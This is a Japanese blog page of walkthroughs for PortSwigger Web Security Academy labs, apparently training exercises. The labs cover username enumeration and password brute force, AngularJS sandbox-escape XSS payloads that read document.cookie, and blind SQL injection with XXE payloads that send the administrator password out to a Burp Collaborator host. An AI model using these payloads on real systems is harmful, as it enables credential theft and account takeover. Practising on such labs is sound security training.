Shikata Ga Nai

Private? There is no such things.

Username enumeration via subtly different responsesをやってみた

 

Hello there, ('ω')ノ

 

微妙に異なる応答によるユーザ名の列挙を。

 

はじめにユーザとパスワードのファイルを作成しておいて。

 

f:id:ThisIsOne:20210409134012p:plain

 

f:id:ThisIsOne:20210409134049p:plain

 

適当にログイン操作を。

 

f:id:ThisIsOne:20210409134327p:plain

 

リクエストをIntrudewへ。

 

f:id:ThisIsOne:20210409134427p:plain

 

usernameパラメータのみをAddして。

 

f:id:ThisIsOne:20210409134511p:plain

 

ユーザ名のファイルを読み込むかペーストして。

 

f:id:ThisIsOne:20210409134613p:plain

 

Extractで、下記のエラーメッセージを選択して。

 Invalid username or password

 

f:id:ThisIsOne:20210409135648p:plain

 

Attackすると、ひとつだけ異なるメッセージが。

これがユーザ名の可能性があって。

 activestat

 

f:id:ThisIsOne:20210409140105p:plain


次にusernameをセットしたあとにpasswordパラメータをAddして。

 

f:id:ThisIsOne:20210409140242p:plain


パスワードファイルをロードするかペーストして。

f:id:ThisIsOne:20210409140218p:plain

 

Attackするとエラーメッセージのないものが。

ステータスコードが302でリダイレクトされたようで。

 1234

 

f:id:ThisIsOne:20210409140345p:plain

 

ページにもどって、ログインを試してみると。

 

f:id:ThisIsOne:20210409140422p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210409140439p:plain

 

Best regards, (^^ゞ

Reflected XSS with AngularJS sandbox escape and CSPをやってみた

Hello there, ('ω')ノ

 

AngularJSサンドボックスエスケープとCSPを備えたリフレクトXSSを。

このラボでは、CSPとAngularJSを使用していて。

ラボを解決するには、 クロスサイトスクリプティングでCSPをバイパスして。

AngularJSサンドボックスをエスケープして。

まずは、下記のエクスプロイトから動作確認を。

 "><img src=x onerror=alert(1)>

 

f:id:ThisIsOne:20210408163109p:plain

 

ソースコードを確認して。

 

f:id:ThisIsOne:20210408163320p:plain

 

もう一つのエクスプロイトを。

 <svg src=x onmouseover=alert(1)>

 

f:id:ThisIsOne:20210408163404p:plain

 

一般的な検索をして。

 

f:id:ThisIsOne:20210408163529p:plain

 

ちなみにCSPは以下のとおりで。

 Content-Security-Policy: default-src 'self'; script-src 'self'

 

f:id:ThisIsOne:20210408183346p:plain

 

エクスプロイトサーバを起動して、下記のエクスプロイトを挿入して。

 

<script>
location='https://acd71f031ed2322180f60ab6005500e9.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

 

デコードすると以下のとおりで。

search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

 

このエクスプロイトは、AngularJSのng-focusイベントを使用して。

CSPをバイパスするフォーカスイベントを作成して。

 pathプロパティはChromeに固有であって。

通常、「|」はJavaScriptのビット演算または演算であって。

AngularJSでは、フィルタ演算(この場合はorderByフィルタ)を示して。

コロンは、フィルターに送信されている引数を示して。

引数では、アラート関数を直接呼び出す代わりに、変数zに割り当てて。

#xはURLフラグメントで。

HTMLのinput要素に ng-focusディレクティブを指定して$event を渡して。

orderByは、配列の$event.pathと並べ替え式の'(z=alert)(document.cookie)'を。

引数として、順序付けられた配列を返す関数を実装して。

これは、ウィンドウオブジェクトを明示的に参照せずに。

ウィンドウのスコープ内で呼び出すことができて。

AngularJSのウィンドウチェックを効果的にバイパスできて。

 

Deliver exploit to victimをクリックすると。

 

f:id:ThisIsOne:20210408163748p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210408163815p:plain

 

View exploitすると入力エリアが確認できて。

 

f:id:ThisIsOne:20210408164215p:plain

 

Best regards, (^^ゞ

Reflected XSS with AngularJS sandbox escape without stringsをやってみた

Hello there, ('ω')ノ

 

文字列なしのAngularJSサンドボックスエスケープを使用したリフレクトXSSを。
このラボでは、 AngularJS を通常とは異なる方法で使用していて。

$eval 関数は使用できず、AngularJSで文字列は使用できないらしく。

ラボを解決するにクロスサイトスクリプティングで。

サンドボックスをエスケープして。

$eval関数を使用せずにalert関数を実行するとのことで。

 

まずは、ページにアクセスして検索を。

 

f:id:ThisIsOne:20210408074340p:plain

 

検索文字列は、スクリプトを通過するようで。

 

f:id:ThisIsOne:20210408080301p:plain

 

下記のエクスプロイトコードで検索すると。

 '-alert(1)-'><img src=x>

 

f:id:ThisIsOne:20210408080705p:plain

 

一部が変換されて。

 

f:id:ThisIsOne:20210408080743p:plain

 

ちなみにエクスプロイトの一部を検索してみると、そのまま表示されて。

 1&toString().constructor.prototype.charAt%3d.join;[1]

 

f:id:ThisIsOne:20210408081222p:plain

 

下記のエクスプロイトコードを挿入して。

1&toString().constructor.prototype.charAt%3d.join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

このエクスプロイトは、toString()を使用して引用符を使用せずに文字列を作成して。

次にStringプロトタイプを取得して、すべての文字列のcharAt関数を上書きします。

これにより、AngularJSサンドボックスが効果的に破壊されて。

次に配列はorderByフィルタに渡されて。

toString()を再度使用して文字列とStringコンストラクタープロパティを作成して。

フィルタの引数を設定して。

最後に、fromCharCodeメソッドを使用して。

文字コードを文字列x=alert(1)に変換してペイロードを生成して。

charAt関数は上書きされているので。

AngularJSサンドボックスが効果的に破壊されて。

 

f:id:ThisIsOne:20210408081402p:plain

 

文字列の長さをチェックされたようなので。

 

f:id:ThisIsOne:20210408081430p:plain

 

直接、URLにエクスプロイトを書き込んで。

クリアできた。

 

https://ac251f121e6cb5dc80bdcf8c002c0029.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

 

f:id:ThisIsOne:20210408081616p:plain

 

Best regards, (^^ゞ

Blind SQL injection with out-of-band data exfiltrationをやってみた

Hello there, ('ω')ノ

 

帯域外データ抽出を使用したブラインドSQLインジェクションを。

このラボには、SQLインジェクションの脆弱性があって。

トラッキングCookieを使用して。SQLクエリを実行して。

SQLクエリは非同期で実行されて、アプリケーションの応答には影響しないが。

外部ドメインとの帯域外相互作用をトリガすることはできるらしく。

データベースには、usersというテーブルと。

usernameとpasswordというカラムがあって。

便利なペイロードは下記を参照とのことで。

 

 https://portswigger.net/web-security/sql-injection/cheat-sheet

 

f:id:ThisIsOne:20210407150542p:plain

 

まずは、ページにアクセスして。


f:id:ThisIsOne:20210407145638p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210407145617p:plain

 

コラボレータを起動して、ペイロードをコピーしておいて。

 

f:id:ThisIsOne:20210407145709p:plain

 

 

トラッキングIDを下記に置き換えてSendすると。

 

TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.f6ms8bu8u36vnh5qrn7s0m1tgkmba0.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;

 

ちなみに少しだけ見やすく分解してみると。

SYSTEMディレクティブを使用して。

URIのコンテンツをロードするremoteという名前の。

外部パラメータエンティティが宣言されていて。

%remote; は、URIへのHTTP GETリクエストをトリガするために呼び出されて。

 

<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>

<!DOCTYPE+root+

[+

<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.f6ms8bu8u36vnh5qrn7s0m1tgkmba0.burpcollaborator.net/">+%25remote%3b

]

>

 

f:id:ThisIsOne:20210407145833p:plain

 

コラボレータのHTTPリクエストでパスワードが確認できて。

 d6ngufdgu8eozg189z1q

 

f:id:ThisIsOne:20210407145908p:plain

 

DNSの場合だと下記のとおりで。

 

f:id:ThisIsOne:20210407151521p:plain

 

administratorでログインしてみると。

 

f:id:ThisIsOne:20210407150011p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210407150028p:plain

 

Best regards, (^^ゞ

Blind SQL injection with out-of-band interactionをやってみた

Hello there, ('ω')ノ

 

帯域外の相互作用を伴うブラインドSQLインジェクションを。

このラボには、 ブラインドSQLインジェクションに脆弱性があって。

TrackingId Cookieを使用し、送信されたCookieの値を含むSQLクエリを実行して。

SQLクエリは非同期で実行されて、アプリケーションの応答には影響しないので。

外部ドメインとの帯域外相互作用をトリガすることで。

SQLインジェクションの脆弱性を悪用できて。

 

まず、TrackingId Cookieを使用して使用状況に関する分析の収集について考えると。

アプリケーションへのリクエストには、下記のようなCookieヘッダが含まれて。

 Cookie: TrackingId=zwFw4yODnFC3DFLI

 

次にアプリケーションは、下記のようなSQLクエリを使用して。

これが既知のユーザであるかどうかを判断して。

 SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'zwFw4yODnFC3DFLI'

 

既知のユーザだったら、「おかえりなさい」というメッセージが表示されたりと。

ブラインドSQLインジェクションの脆弱性を悪用すると。

下記のTrackingIdを送信することで真の値が得られるわけで。 

 x' AND '1'='1

 

という仕組みでして。

先にペイロードをデコードして内容を確認しておいて。

 

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

 

extractvalueは、xmltypeのインスタンスとXPathでマッチするものを探して。

 

x'+UNION+SELECT+extractvalue(xmltype(

'<?xml+version="1.0"+encoding="UTF-8"?>

<!DOCTYPE+root+

[+<!ENTITY %+remote+SYSTEM+"http://x.burpcollaborator.net/"> %remote;]>'),'/l'

)+FROM+dual--

 

f:id:ThisIsOne:20210407082700p:plain

 

さっそくページにアクセスして。

 

f:id:ThisIsOne:20210407110903p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210407110843p:plain

 

コラボレータでペイロードをコピーしておいて。

 

f:id:ThisIsOne:20210407110955p:plain

 

下記のペイロードに置き換えてSendすると。

 

TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;

 

f:id:ThisIsOne:20210407111220p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210407111142p:plain

 

ペイロードの結果として。

アプリケーションによって開始されたDNSとHTTPの相互作用が表示されて。

 

f:id:ThisIsOne:20210407114933p:plain

 

ちなみ下記のペイロードに変更してSendすると。

 

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;

 

f:id:ThisIsOne:20210407114541p:plain

 

administratorのパスワードがサブドメインに表示されて。

DNSインタラクションの場合は。

検索された完全なドメイン名がDescriptionタブに表示されて。

パスワードは以下のとおりで。

 nz048nf3i0cvomhncy9k

 

f:id:ThisIsOne:20210407114701p:plain

 

また、HTTPインタラクションの場合は。

完全なドメイン名はリクエストタブのHostヘッダに表示されて。

 

f:id:ThisIsOne:20210407115612p:plain

 

さっそくログインしてみると。

 

f:id:ThisIsOne:20210407114440p:plain

 

ログインできた。

 

f:id:ThisIsOne:20210407114503p:plain

 

Best regards, (^^ゞ